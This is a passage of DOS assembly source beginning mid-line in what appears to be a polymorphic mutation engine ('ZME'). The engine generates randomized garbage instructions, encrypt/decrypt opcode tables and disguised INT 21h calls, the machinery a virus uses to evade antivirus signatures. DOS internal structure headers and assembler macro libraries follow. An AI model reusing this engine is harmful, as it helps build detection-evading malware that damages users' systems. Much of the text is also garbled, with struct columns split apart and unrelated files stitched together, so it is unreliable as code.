ax,xxxx call RND_GET_BYTE DONE stosb movsb ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel int_any_reg db 8h, 1ch, 28h, 2Bh db 11h, 12h pblabel with_setup db 16h, 17h ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel cpm
db 18h,1dh,1eh,20h pblabel int21func ;db 10h dup (30h);function return cf=1 or no change cf db 51h, 62h, 30h ;- use as cmp too db 19h,2ah,2ch, 36h,4dh,0dh,23h, 0bh; 54, pblabel cf_1 ;function return cf=1 /--/--/- need setup(DX<>-1) ;46, db 5ch pblabel setdx ;db 5c,5c,5c db 3Dh, 41h,4eh,3Ah ;4Bh, -sux ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* encode int 21 *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_int21 mov protect_reg, R_AX test [engdata.zmeflags], MASK EN_USE_INT jz unprotect_reg1 cmp [engdata.useregs], REG_ALL jne unprotect_reg1 call RND_GET_BYTE ; jz encode_int DOIF Z ;*ENCODE INTERRUPT********************************************************** pblabel encode_int call RND_GET_THREE_BITS test [engdata.zmeflags], MASK EN_RELOCATOR DOIF Z ;only without relocator call RND_GET_THREE_BITS ; jz encode_cpm DOIF Z ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_cpm call encode_push_addr push bx call many_nonbranch_garble STO_BYTE opPUSH_CS ; encode PUSH CS call many_nonbranch_garble call RND_GET_THREE_BITS ;push sux call push_any_sux ;al-register for push call many_nonbranch_garble mov cl,R_CX ;mov cx,cpmfunc call encode_mov call RND_GET_THREE_BITS add ax, offset cpm xchg si, ax movsb call RND_GET stosb call RND_GET_THREE_BITS mov cx, ax mov al, 0Ch sub al, cl shl al, 4 xchg dx, ax call encode_far_jmp pop bx add [bx], di pblabel unprotect_reg1 jmp unprotect_reg ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ DONE DONE ;* encode int 8, 1C, 16, 17, 11, 12, 2B, 28 ********************************
cmp al, 5 DOIF A ;need setup push ax sto_byte opMOV_AHimm test ax, di ;pseudo-random sbb ax, ax ;-1 | 0 inc ax ; inc ax ; stosb ; 1 | 2 pop ax DONE add ax, offset int_any_reg push ax call many_nonbranch_garble pop si sto_byte opINT movsb pblabel unprotect_reg mov protect_reg, -1 ret ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ DONE call RND_GET_BYTE DOIF Z call choose_function sto_two_byte opINT, 21h DOELSE call RND_GET_BYTE mov al,6 DOIF Z sub al,6-1Eh DONE stosb ;push ds(es) push ax call many_nonbranch_garble call choose_word_register xchg cx, ax call encode_mov call RND_GET_THREE_BITS stosw shl ax, 4 mov [engdata.segm_IDT], 84h sub [engdata.segm_IDT], al ;- enc mov ds(es), reg sto_byte 8Eh pop ax push ax ;ax=6 | 1E MASKA al, 110xx000 add al, cl stosb call choose_function ;clear C before pushf sto_byte opPUSHF ;pushf ; call many_nonbranch_garble test [engdata.zmeflags], MASK EN_RELOCATOR GOIN NZ ;force use call call RND_GET DOIF Z ;use call pop ax push ax ;ax=6 | 1E cmp al,6 DOIF E
sto_byte
opSEGES ;seges DONE ;ZF=1 -> 26, ZF=0 -> EB(maybe) sto_two_byte 0ffh, 1Eh mov al, [engdata.segm_IDT] xor ah, ah stosw DOELSE ;use jmp sto_byte opPUSH_CS ;push cs call encode_push_addr pop ax push ax ;ax=6 | 1E cmp al, 6 DOIF E sto_byte opSEGES ;seges DONE push bx sto_two_byte 0ffh, 2Eh mov al, [engdata.segm_IDT] xor ah, ah stosw call shit pop bx add [bx],di DONE pop ax inc ax stosb DONE ;** encode test CF after int21 ********************************************* call RND_GET_BYTE DOIF NZ ; jz @@ret ;maybe :) mov al, opJC adc al, 0 stosb cmp si, offset cf_1 DOIF A ;if instruct > 0A -> 73<=>72 dec ax DONE cmp al, opJC DOIF NE ;73(jnc) call RND_GET_THREE_BITS inc ax ;al=1..8 stosb ;over shit call shit_ax DOELSE ;72(jc) call RND_GET_BYTE ; to shit stosb DONE DONE pblabel unprotect_reg2 jmp unprotect_reg ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; high byte holds the opcode, low byte holds the second byte of the ; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low ; byte hold the maximum amount to add to the high byte in creating the ; instruction. This allows one word to generate more than one instruction, ; including the byte or word forms of the instructions ; note that this is reverse of what will be actually stored ;---------------------------------------------------------------------------ONEHALF = 0
TWOHALF = 1 ;USE _ANY_ REGISTER FOR THIS OPERATION BINOP = 0 ;TWO ARGUMENT OPERATION UNEOP = 1 ;ONE ARGUMENT OPERATION ONLY_THIS_OPCODE = 00b USE_ANY_SIZE = 01b INCL_NEXT_OPCODE = 11b ;---------------------------------------------------------------------------dop macro highopcode, shiftneg, lowpcode, twohalf, secdlim db highopcode or shiftneg, lowpcode or ((twohalf shl 2) and 4) or secdlim endm ;---------------------------------------------------------------------------pblabel garble_table ;for decrypt pblabel encrypt_opcode_table dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ;³ dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ;³ dop 11010000b, UNEOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³ ;³ dop 10000000b, BINOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³Ú dop 00000010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 00110010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 00101010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³ dop 10000000b, BINOP, 11101000b, ONEHALF, USE_ANY_SIZE ;À³ ; ³ dop 11010000b, UNEOP, 11001000b, ONEHALF, USE_ANY_SIZE ; ³ dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ; ³ dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ; ³ ; for encrypt pblabel end_encrypt_opcode_table ; ^---^^-simetrichno sizeof_encrypt_opcode_table equ ($-encrypt_opcode_table) ;startup pblabel enc_mov_imm dop 10110000b, dop 10001010b, dop 10001010b, dop 10001010b, dop 00001010b, dop 00010010b, dop 00011010b, dop 00100010b, ; dop 00111000b, dop 00111010b, ; dop 10001010b, ; ; dop 10001010b, dop 10000000b, dop 10000000b, dop 10000000b, dop 10000000b, ;
; ; ; ;
dop dop dop dop dop dop dop dop dop dop
10000000b, 10000100b, 11010000b, 11010000b, 11010000b, 11010000b, 11010000b, 11010000b, 11010000b, 11110110b, ^^ |=
BINOP, BINOP, BINOP, BINOP, BINOP, BINOP, BINOP, BINOP, BINOP, BINOP, BINOP,
11000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b, 00000000b,
ONEHALF, ONEHALF, ONEHALF, ONEHALF, ONEHALF, ONEHALF, ONEHALF, ONEHALF, TWOHALF, TWOHALF, ONEHALF,
USE_ANY_SIZE USE_ANY_SIZE USE_ANY_SIZE USE_ANY_SIZE USE_ANY_SIZE USE_ANY_SIZE USE_ANY_SIZE USE_ANY_SIZE; INCL_NEXT_OPCODE USE_ANY_SIZE USE_ANY_SIZE
BINOP, BINOP, BINOP, BINOP, BINOP,
00000000b, 11001000b, 11010000b, 11011000b, 11100000b,
ONEHALF, ONEHALF, ONEHALF, ONEHALF, ONEHALF,
USE_ANY_SIZE; USE_ANY_SIZE USE_ANY_SIZE USE_ANY_SIZE USE_ANY_SIZE
BINOP, 11100000b, BINOP, 00000000b, UNEOP, 11001000b, UNEOP, 11010000b, UNEOP, 11011000b, UNEOP, 11100000b, UNEOP, 11101000b, UNEOP, 11111000b, UNEOP, 11111000b, UNEOP, 11010000b, (RND and ^ 1 ^^ = 0 possible
ONEHALF, USE_ANY_SIZE TWOHALF, USE_ANY_SIZE ONEHALF, INCL_NEXT_OPCODE ONEHALF, INCL_NEXT_OPCODE ONEHALF, INCL_NEXT_OPCODE ONEHALF, INCL_NEXT_OPCODE ONEHALF, INCL_NEXT_OPCODE ONEHALF, INCL_NEXT_OPCODE ONEHALF, INCL_NEXT_OPCODE ONEHALF, USE_ANY_SIZE ^^) -> use any register & memory use memory, 11- registers only
; ^- if 1 then not need arguments(shift, not, neg) pblabel enc_test dop 11110110b, BINOP, 11000000b, TWOHALF, USE_ANY_SIZE dop 10000000b, BINOP, 11111000b, TWOHALF, USE_ANY_SIZE ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel onebyte_table stc ; | clc ; | cld ; | cmc ; | sahf ; | pblabel onebyte_table_ax ; | cli ;-\ dec ax ; | inc ax ;-/-\ ;****************************************|********************************** lahf ; | daa ; | das ; | cbw ; | xlat ; / ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;PMtest db 050h,0B8h,086h,016h,0CDh,02Fh,023h,0C0h,058h,075h,006h,05Fh,055h db 08Bh,0ECh,0FFh,0E7h pblabel ZME_END ends end ;read/write int 25/26 AbsDiskIORec STRUC AbsDisk_start_sect AbsDisk_sect_num AbsDisk_buffer ENDS
dd dw dd
? ; lStartSect logical sector no. to start r/w ? ; wSectCnt number of sectors to read/write ? ; pBuffer FAR addr of data buffer
; SCCSID = @(#)arena.asm 1.1 85/04/09 ;BREAK <Memory arena structure> ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; ; ; arena item ; arena STRUC arena_signature DB ? ; 4D for valid item, 5A for last item arena_owner DW ? ; owner of arena item arena_size DW ? ; size in paragraphs of item arena ENDS ; ; CAUTION: The routines in ALLOC.ASM rely on the fact that arena_signature ; and arena_owner_system are all equal to zero and are contained in DI. Change ; them and change ALLOC.ASM. arena_owner_system
EQU 0
arena_signature_normal EQU 4Dh arena_signature_end EQU 5Ah ; ; C A V E A T
; free block indication
P
R
; valid signature, not end of arena ; valid signature, last block in arena ; O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; SCCSID = @(#)dirent.asm 1.1 85/04/10 ; SCCSID = @(#)dirent.asm 1.1 85/04/10 ;Break ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
+---------------------------+ | (12 BYTE) filename/ext | +---------------------------+ | (BYTE) attributes | +---------------------------+ | (10 BYTE) reserved | +---------------------------+ | (WORD) time of last write | +---------------------------+ | (WORD) date of last write | +---------------------------+ | (WORD) First cluster | +---------------------------+ | (DWORD) file size | +---------------------------+
0
0
11
B
12
C
22
16
24
18
26
1A
28
1C
First byte of filename Time: Date:
dir_entry dir_name dir_attr dir_pad dir_time dir_date dir_first dir_size_l dir_size_h dir_entry
= E5 -> free directory entry = 00 -> end of allocated directory Bits 0-4=seconds/2, bits 5-10=minute, 11-15=hour Bits 0-4=day, bits 5-8=month, bits 9-15=year-1980
STRUC DB DB DB DW DW DW DW DW ENDS
11 DUP (?) ? 10 DUP (?) ? ? ? ? ?
; ; ; ; ; ; ; ;
file name attribute bits reserved for expansion time of last write date of last write first allocation unit of file low 16 bits of file size high 16 bits of file size
attr_read_only attr_hidden attr_system attr_volume_id attr_directory attr_archive attr_device
EQU EQU EQU EQU EQU EQU EQU
1h 2h 4h 8h 10h 20h 40h
attr_all
EQU
attr_hidden+attr_system+attr_directory ; OR of hard attributes for FINDENTRY
attr_ignore
EQU
attr_read_only+attr_archive+attr_device ; ignore this(ese) attribute(s) during ; search first/next
attr_changeable
EQU
attr_read_only+attr_hidden+attr_system+attr_archive ; changeable via CHMOD
; ;
SCCSID = @(#)dpb.asm SCCSID = @(#)dpb.asm
; This is a VERY special bit. ; NO directory entry on a disk EVER ; has this bit set. It is set non-zero ; when a device is found by GETPATH
1.1 85/04/10 1.1 85/04/10
;BREAK ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; dpb STRUC dpb_drive DB ? ; Logical drive # assoc with DPB dpb_UNIT DB ? ; Driver unit number of DPB dpb_sector_size DW ? ; Size of physical sector in bytes dpb_cluster_mask DB ? ; Sectors/cluster - 1 dpb_cluster_shift DB ? ; Log2 of sectors/cluster dpb_first_FAT DW ? ; Starting record of FATs dpb_FAT_count DB ? ; Number of FATs for this drive dpb_root_entries DW ? ; Number of directory entries dpb_first_sector DW ? ; First sector of first cluster dpb_max_cluster DW ? ; Number of clusters on drive + 1 dpb_FAT_size DB ? ; Number of records occupied by FAT dpb_dir_sector DW ? ; Starting record of directory dpb_driver_addr DD ? ; Pointer to driver dpb_media DB ? ; Media byte dpb_first_access DB ? ; This is init. to -1 to force a media ; check the first time this DPB is used dpb_next_dpb DD ? ; Pointer to next Drive parameter block dpb_next_free DW ? ; Cluster # of last allocated cluster dpb_free_cnt DW ? ; Count of free clusters, -1 if unknown dpb ENDS DPBSIZ
EQU
SIZE dpb
; Size of the structure in bytes
DSKSIZ = dpb_max_cluster ; Disk size (used during init only) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; SCCSID = ; SCCSID = ;BREAK <EXEC and ; ; EXEC arg block ;
@(#)exe.asm 1.1 85/04/10 @(#)exe.asm 1.1 85/04/10 EXE file structures> - load/go program
; ; The following get used as arguments to the EXEC system call. They indicate ; whether or not the program is executed or whether or not a program header ; gets created. ; exec_func_no_execute EQU 1 ; no execute bit exec_func_overlay EQU 2 ; overlay bit Exec0 Exec0_environ Exec0_com_line Exec0_5C_FCB Exec0_6C_FCB Exec0
STRUC DW DD DD DD ENDS
Exec1 Exec1_environ Exec1_com_line Exec1_5C_FCB Exec1_6C_FCB Exec1_SP Exec1_SS Exec1_IP
STRUC DW DD DD DD DW DW DW
? ? ? ?
; ; ; ;
seg addr of environment pointer to asciz command line default fcb at 5C default fcb at 6C
? ? ? ? ? ? ?
; ; ; ; ; ; ;
seg addr of environment pointer to asciz command line default fcb at 5C default fcb at 6C stack pointer of program stack seg register of program entry point IP
Exec1_CS Exec1
DW ENDS
Exec3 Exec3_load_addr Exec3_reloc_fac Exec3
STRUC DW DW ENDS
?
; entry point CS
? ?
; seg address of load point ; relocation factor
; ; Exit codes in upper byte ; Exit_terminate EQU Exit_abort EQU Exit_Ctrl_C EQU Exit_Hard_Error EQU Exit_Keep_process EQU
0 0 1 2 3
; ; EXE file header ; EXE_file STRUC exe_signature DW exe_len_mod_512 DW exe_pages DW exe_rle_count DW exe_par_dir DW exe_min_BSS DW exe_max_BSS DW exe_SS DW exe_SP DW exe_chksum DW exe_IP DW exe_CS DW exe_rle_table DW exe_iov DW exe_sym_tab DD EXE_file ENDS
? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
must contain 4D5A (yay zibo!) low 9 bits of length number of 512b pages in file count of reloc entries number of paragraphs before image minimum number of para of BSS max number of para of BSS stack of image SP of image checksum of file (ignored) IP of entry CS of entry byte offset of reloc table overlay number (0 for root) offset of symbol table in file
exe_valid_signature EQU 5A4Dh exe_valid_old_signature EQU 4D5Ah symbol_entry sym_value sym_type sym_len sym_name symbol_entry ; ; ;Break
STRUC DD ? DW ? DB ? DB 255 dup (?) ENDS
SCCSID = @(#)find.asm 1.1 85/04/10 SCCSID = @(#)find.asm 1.1 85/04/10
find_buf STRUC ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; find_buf_drive DB ? ; drive of search find_buf_name DB 11 DUP (?) ; formatted name find_buf_sattr DB ? ; attribute of search find_buf_LastEnt DW ? ; LastEnt find_buf_DirStart DW ? ; DirStart find_buf_NetID DB 4 DUP (?) ; Reserved for NET
; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; find_buf_attr find_buf_time find_buf_date find_buf_size_l find_buf_size_h find_buf_pname find_buf ENDS
DB DW DW DW DW DB
? ? ? ? ? 13 DUP (?)
; SCCSID = @(#)pdb.asm ;BREAK
; ; ; ; ; ;
attribute found time date low(size) high(size) packed name
1.1 85/04/10
; ; Process data block (otherwise known as program header) ; FilPerProc
EQU
20
Process_data_block PDB_Exit_Call PDB_block_len
STRUC DW ? ; INT int_abort system terminate DW ? ; size of execution block DB ? PDB_CPM_Call DB 5 DUP (?) ; ancient call to system PDB_Exit DD ? ; pointer to exit routine PDB_Ctrl_C DD ? ; pointer to ^C routine PDB_Fatal_abort DD ? ; pointer to fatal error ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_Parent_PID DW ? ; PID of parent (terminate PID) PDB_JFN_Table DB FilPerProc DUP (?) ; indices into system table ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; PDB_environ DW ? ; seg addr of environment ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_User_stack DD ? ; stack of self during system calls PDB_JFN_Length DW ? ; number of handles allowed PDB_JFN_Pointer DD ? ; pointer to JFN table PDB_Next_PDB DD ? ; pointer to nested PDB's PDB_PAD1 DB 14h DUP (?) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; PDB_Call_system DB 5 DUP (?) ; portable method of system call ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; PDB_PAD2 DB 7h DUP (?) ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; Process_data_block ENDS ; SCCSID = @(#)sf.asm 1.1 85/04/10 ;BREAK
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; C A V E A T P R O G R A M M E R ; ; ; ; ; system file table ; SF SFLink SFCount SFTable SF
STRUC DD DW DW ENDS
? ? ?
; number of entries ; beginning of array of the following
; ; system file table entry ; sf_entry sf_ref_count
STRUC DW
?
sf_mode sf_attr sf_flags
DW DB DW
? ? ?
sf_devptr
DD
?
; number of processes sharing entry ; if FCB then ref count ; mode of access or high bit on if FCB ; attribute of file ;Bits 8-15 ; Bit 15 = 1 if remote file ; = 0 if local file or device ; Bit 14 = 1 if date/time is not to be ; set from clock at CLOSE. Set by ; FILETIMES and FCB_CLOSE. Reset by ; other reseters of the dirty bit ; (WRITE) ; Bit 13 = Pipe bit (reserved) ; ; Bits 0-7 (old FCB_devid bits) ; If remote file or local file, bit ; 6=0 if dirty Device ID number, bits ; 0-5 if local file. ; bit 7=0 for local file, bit 7 ; =1 for local I/O device ; If local I/O device, bit 6=0 if EOF ; Bit 5=1 if Raw mode ; Bit 0=1 if console input device ; Bit 1=1 if console output device ; Bit 2=1 if null device ; Bit 3=1 if clock device ; Points to DPB if local file, points ; to device header if local device, ; points to net device header if ; remote ; First cluster of file (bit 15 = 0) ; Time associated with file ; Date associated with file ; Size associated with file ; R/W pointer or LRU count for FCBs
sf_firclus DW ? sf_time DW ? sf_date DW ? sf_size DD ? sf_position DD ? ; ; Starting here, the next 7 bytes may be used by the file system to store an ; ID ; sf_cluspos DW ? ; Position of last cluster accessed sf_lstclus DW ? ; Last cluster accessed sf_dirsec DW ? ; Sector number for this file sf_dirpos DB ? ; Offset of this entry in the above ; ; End of 7 bytes of file-system specific info.
; sf_name
DB
11 DUP (?)
; ; ; ;
; SHARING INFO sf_chain sf_UID sf_PID sf_MFT sf_entry
DD DW DW DW ENDS
? ? ? ?
; link to next SF
sf_netid sf_OpenAge sf_LRU
EQU EQU EQU
BYTE PTR sf_cluspos WORD PTR sf_position+2 WORD PTR sf_position
sf_default_number
EQU
11 character name that is in the directory entry. This is used by close to detect file deleted and disk changed errors.
5h
; ; Note that we need to mark an SFT as being busy for OPEN/CREATE. This is ; because an INT 24 may prevent us from 'freeing' it. We mark this as such ; by placing a -1 in the ref_count field. ; sf_busy EQU -1 ; mode mask for FCB detection sf_isfcb EQU
1000000000000000B
; Flag word masks sf_isnet sf_close_nodate sf_pipe sf_no_inherit sf_net_spool
1000000000000000B 0100000000000000B 0010000000000000B 0001000000000000B 0000100000000000B
EQU EQU EQU EQU EQU
; Local file/device flag masks devid_file_clean EQU devid_file_mask_drive EQU
40h 3Fh
; true if file and not written ; mask for drive number
devid_device EQU 80h ; true if a device devid_device_EOF EQU 40h ; true if end of file reached devid_device_raw EQU 20h ; true if in raw mode devid_device_special EQU 10h ; true if special device devid_device_clock EQU 08h ; true if clock device devid_device_null EQU 04h ; true if null device devid_device_con_out EQU 02h ; true if console output devid_device_con_in EQU 01h ; true if consle input ; ; ; C A V E A T P R O G R A M M E R ; ;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----; ; ; structure of devid field as returned by IOCTL is: ; ; BIT 7 6 5 4 3 2 1 0 ; |---|---|---|---|---|---|---|---| ; | I | E | R | S | I | I | I | I | ; | S | O | A | P | S | S | S | S | ; | D | F | W | E | C | N | C | C | ; | E | | | C | L | U | O | I | ; | V | | | L | K | L | T | N | ; |---|---|---|---|---|---|---|---|
; ISDEV = 1 if this channel is a device ; = 0 if this channel is a disk file ; ; If ISDEV = 1 ; ; EOF = 0 if End Of File on input ; RAW = 1 if this device is in Raw mode ; = 0 if this device is cooked ; ISCLK = 1 if this device is the clock device ; ISNUL = 1 if this device is the null device ; ISCOT = 1 if this device is the console output ; ISCIN = 1 if this device is the console input ; ; If ISDEV = 0 ; EOF = 0 if channel has been written ; Bits 0-5 are the block device number for ; the channel (0 = A, 1 = B, ...) ; devid_ISDEV EQU 80h devid_EOF EQU 40h devid_RAW EQU 20h devid_SPECIAL EQU 10H devid_ISCLK EQU 08h devid_ISNUL EQU 04h devid_ISCOT EQU 02h devid_ISCIN EQU 01h devid_block_dev EQU
1Fh
; mask for block device number
;*************************************************************************** s_y MACRO oprt, cntr, dsiz &oprt&cntr&dsiz MACRO REPT cntr &oprt&&dsiz ENDM ENDM ENDM ;*************************************************************************** s_z MACRO oprt, cntr, cmmd oprt&cntr MACRO REPT cntr shr 1 &cmmd&w ENDM IF cntr and 1 &cmmd&b ENDIF ENDM ENDM ;*************************************************************************** IRPC cntr, 12345 IRP dsiz, IRP oprt, <stos, scas, lods, movs, cmps, ins, outs> s_y oprt, cntr, dsiz ENDM ENDM s_z movs, cntr, movs s_z add_di, cntr, scas s_z add_si, cntr, lods s_z add_sdi, cntr, cmps ENDM ;*************************************************************************** PURGE s_y, s_z ;***************************************************************************
STO_BYTE
MACRO value:REQ mov al, value stosb
ENDM ;*************************************************************************** STO_WORD_ MACRO value mov ax, value stosw ENDM ;*************************************************************************** STO_WORD MACRO value IF value NE 0 mov ax, value ELSE sub ax, ax ENDIF stosw ENDM ;*************************************************************************** STO_TWO_BYTE MACRO value1:REQ, value2:REQ ; STO_WORD (value2 shl 8) or value1 IF (value2 shl 8) or value1 mov ax, (value2 shl 8) or value1 ELSE sub ax, ax ENDIF stosw ENDM ;*************************************************************************** MOVSEG macro to_seg, from_seg push from_seg pop to_seg endm ;*************************************************************************** MASKA MACRO regis1:REQ, mask2:REQ ;MASKA al, 001xx110 ;and al, 00?11??0 ;or al, 00100110 local x, tmp_mask x=1 tmp_mask = 0 IRPC sb, mask2 tmp_mask = tmp_mask*2+sb ENDM and regis1, tmp_mask x=0 tmp_mask = 0 IRPC sb, mask2 tmp_mask = tmp_mask*2+sb ENDM IF tmp_mask NE 0 or regis1, tmp_mask ENDIF ENDM ;*************************************************************************** MIN MACRO frst, scnd local nomov cmp frst, scnd jb nomov mov frst, scnd nomov: ENDM ;***************************************************************************
MAX MACRO frst, scnd local nomov cmp frst, scnd ja nomov mov frst, scnd nomov: ENDM ;*************************************************************************** crproc MACRO procname, proc_crc public procname procname proc extrn cryproc:near call cryproc dw ? dw proc_crc ENDM ;*************************************************************************** pbproc MACRO procname public procname procname proc ENDM ;*************************************************************************** pblabel MACRO lblname public lblname lblname: ENDM ;*************************************************************************** ;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ;º The STructured AssembleR language macros º ;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; (C) Dmitry Timchenko 1989-1991 ; Version 1.4 ; Turbo Assembler Version. LONG specifier is UNNECESSARY
.err
ifndef ??version **** Turbo Assembler required. For MASM use STAR13.INC **** endif if
.err
??version lt 0200h **** Turbo Assembler 2.0 or higher required. Use STAR13T.INC **** endif
JUMPS
;It makes all dirty work of SHORT/LONG ; recognizing ( see STAR13.INC )
;Ú***** Auxiliary (implementation) macros *****¿ ;
Current level counters settings
S@ MACRO PN&@&PL = T@&PN = ENDM S@T T@B T@E T@X
PN,PL,PV PN&@&PL&PV PN&@&PL
MACRO PL = B@&PL = E@&PL = X@&PL
ENDM
;
Label (MARK) settings
M@ MACRO PM&PL&PN ENDM
; ; ; ; ; ;
Forward jump vector generation PC conditon code ( Z/NZ/C/NC... ) PM label header PL nesting level PN counter for this level INV 0/1 - inverse condition
J@F MACRO V@
PM,PL,PN = $
=
PC,PM,PL,PN,INV
PM&PL&PN
;Label to jump to
IFB
;Command: "JMP"
IF INV EQ 0 jmp V@ ENDIF
;INV=0 --> Need command
ELSE
;Command: "J"
IF INV EQ 0 _YJ&PC V@ ELSE _NJ&PC V@ ENDIF
;YesJump - straight condition
ENDIF ENDM
;(Command)
;else
--> Needn't command
;NoJmp - reverse condition
; Reverse jump vector generation J@R MACRO PC,PM,PL,PN V@ = PM&PL&PN IFB ;; jmp V@ ELSE;; _YJ&PC V@ ENDIF;; ENDM
Command: JMP Command: J (Command)
; ELSE mode settings EL@I MACRO PL,VAL IFNB L@I&PL = VAL ENDIF TL@ = L@I&PL ENDM ; An auxiliary macro ; for counters initialization I@NIT MACRO PL B@&PL = 0
E@&PL = X@&PL = L@I&PL = ENDM
;
Variables initial settings macro.
INITS L@ L@
0 0 0
MACRO
;;**********
= 10 REPT 10 = L@-1 I@NIT %L@ ENDM
_YJO _YJNO _YJB _YJNAE _YJC _YJAE _YJNB _YJNC _YJE _YJZ _YJNE _YJNZ _YJBE _YJNA _YJA _YJNBE _YJS _YJNS _YJP _YJPE _YJNP _YJPO _YJL _YJNGE _YJGE _YJNL _YJLE _YJNG _YJG _YJNLE
